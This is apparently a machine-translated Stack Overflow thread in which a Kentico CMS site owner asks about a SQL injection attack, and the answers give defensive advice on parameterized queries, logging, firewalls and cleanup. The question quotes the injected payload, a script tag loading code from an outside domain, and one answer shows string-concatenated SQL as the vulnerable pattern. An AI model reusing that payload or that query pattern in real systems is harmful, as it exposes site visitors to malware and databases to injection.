我的网站是在Kentico CMS 5.5和SQL server 2008中创建的。它的运行成功但是现在这些天黑客攻击了我的网站,经过很长一段时间我发现在很多表中黑客添加
></title><script src="http://lilupophilupop.com/sl.php"></script><!--
在varchar cell之前的行。假设我在用户名表之前有用户表,它会添加此字符串,在用户的电子邮件ID之前添加相同的字符串。如何通过使用此黑客来阻止我的SQL服务器。这背后的原因是什么?
答案 0 :(得分:3)
如何通过使用此黑客来阻止我的SQL服务器。
首先,您需要找出 黑客如何将数据导入您的数据库(SQL注入,弱帐户密码......)。 然后您可以采取适当的行动。
这背后的原因是什么?
黑客希望varchar字段打印在网页上而不先进行正确编码。如果发生这种情况,用户的浏览器将下载并执行脚本。
答案 1 :(得分:1)
这看起来可能是“SQL注入”攻击,可能旨在将您的访问者发送到欺诈网站的恶意软件。
不幸的是,Kentico CMS是商业软件,您的选择有限。您将不会拥有可以调整的源,以防止通过前端进一步攻击。
您可能需要
如果这些都不成功,您可以在SQL中的必要表中添加触发器,以便在脚本插入数据库时将其删除。
答案 2 :(得分:0)
您需要遵循行业最佳实践:看看 https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
对于前10个Web应用程序安全风险。
答案 3 :(得分:0)
要记住的是,保存数据库免受黑客攻击的行为如下:
始终使用参数化Sql
,使用参数化查询将所有值传递给DB
SqlCommand cmd = new SqlCommand("SELECT * FROM TableName WHERE ID = @ID");
不
SqlCommand cmd = new SqlCommand("SELECT * FROM TableName WHERE ID = " + value + "");
同样,使用INSERT
,UPDATE
和DELETE
查询,或以相同方式使用STORED PROCEDURE
。
仅为特定用户设置权限
ValidateRequest
。由于
答案 4 :(得分:0)
以下是此类攻击的工作原理: Attack on ASP site that uses a SQL server database
此链接可帮助您清理数据库: http://www.jephens.com/2009/12/27/cleaning-up-after-a-sql-injection-attack-part-2/
答案 5 :(得分:0)
我同意@Heinzi - 你应该努力弄清楚攻击向量(baddie如何进入你的应用程序)。您在数据库中找到了文本,但它是如何实现的?直接通过Sql Server或通过Web服务器或通过Kentico?当你完成这个调查过程时,记下你的安全性弱点,并在你去的时候确定它 - 你基本上是在进行安全审计!执行这些步骤会导致harden your servers针对大多数类型的攻击,希望能够再次阻止此类事件发生。
我对你的拓扑结构一无所知(你的服务器是如何设置和连接到彼此和网络的),但是我们可以通过查看机器的Windows日志来开始调查你的sql server是安装在 - 查找有问题的登录时间,查找奇怪的用户帐户,并检查您的密码和用户名安全性。有关详细信息,请参阅此处:Windows Intruder Detection Checklist
如果没有显示任何内容look at the Sql server logs,请检查您的用户名/密码安全性以及对sql server实例的访问权限;例如:sql server只能从有明确原因的机器上访问 - 您的Web服务器,可能是网络管理员等 - 使用Windows防火墙使访问“紧”,这样sql server实例不仅仅是回应任何电脑询问。 - Here's more details about how to secure sql server.
检查网络服务器上的web.config - 那里是sql server用户名和密码吗?检查您的ftp日志,看看是否有人最近尝试阅读它。
Kentico版本5+(可能更早)具有记录'事件'的能力。如果您启用了事件记录,则应该能够看到正在修改的模板;转到Site Manager > Administration > Event Log
并返回到您第一次注意到它的日期,并检查用户帐户正在进行修改的条目。
甚至更好:如果您有权访问数据库服务器,则可以执行直接表查询以获取此数据:
SELECT TOP 1000 *
FROM [CMS_EventLog]
再次查看奇怪的Ip地址或奇数时间发生的条目或用户名。
同样,最好尽可能限制对所有“敏感”资源(数据库,Kentico cmsdesk和siteadmin)的访问。 Windows防火墙非常适合这样做 - 加强远程桌面访问,并关闭尽可能多的端口以减少服务器的暴露表面区域。使用Shields Up! from Gibson Research或Awesome Nmap security scanner tool之类的简单内容测试您的曝光。
例如,我的网络服务器只公开端口80和443(http和https),如果需要,可能是Ftp的4456随机高端口。我使用Windows防火墙将对远程桌面的访问限制为少数IP地址。 Sql服务器没有公共端口,它们被调整为“隐身”而不回复来自未授权IP的任何请求。
作为一个轶事的例子 - 当我把服务器放到现场时,它已经花了8个小时才开始尝试通过远程桌面登录(你可以看到Windows事件日志中的数千次失败尝试&gt;安全性) - 只要您使用Windows防火墙忽略未经批准的IP地址,日志就会保持清晰。
作为一个有用的说明:如果您没有这方面的经验,您可能希望获得经验丰富的Windows系统管理员的服务来帮助您。并且请注意可能存在更多受损系统 - 您可能刚刚发现了'冰山一角',可能有Trojans和Rootkits以及其他恶意等待,所以您还需要完整的安全扫描。